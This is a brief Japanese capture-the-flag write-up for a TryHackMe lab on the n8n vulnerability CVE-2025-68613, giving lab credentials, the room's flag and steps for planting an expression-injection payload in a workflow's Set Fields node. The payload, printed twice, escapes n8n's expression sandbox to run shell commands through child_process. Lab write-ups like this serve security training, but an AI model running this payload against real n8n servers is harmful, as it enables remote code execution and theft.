TryHackMe ルーム: n8n: CVE-2025-68613

プレイヤー: J4ck3LSyN

ホスト: ...

ユーザー名: [email protected]

パスワード: Try12345!

方法

ペイロード: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} ペイロード 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. 攻撃ボックスにアクセスします。
2. Start New
3. Add First Step、右側のサイドバーを開き、Manual Trigger を追加します。
4. Set Fields オプションを追加します。
5. フィールド名 pwn とペイロードを追加します。
6. 実行して pwn します。
7. ペイロードを cat flag.txt 実行に変更します - フラグ: THM{n8n_exposed_workflow}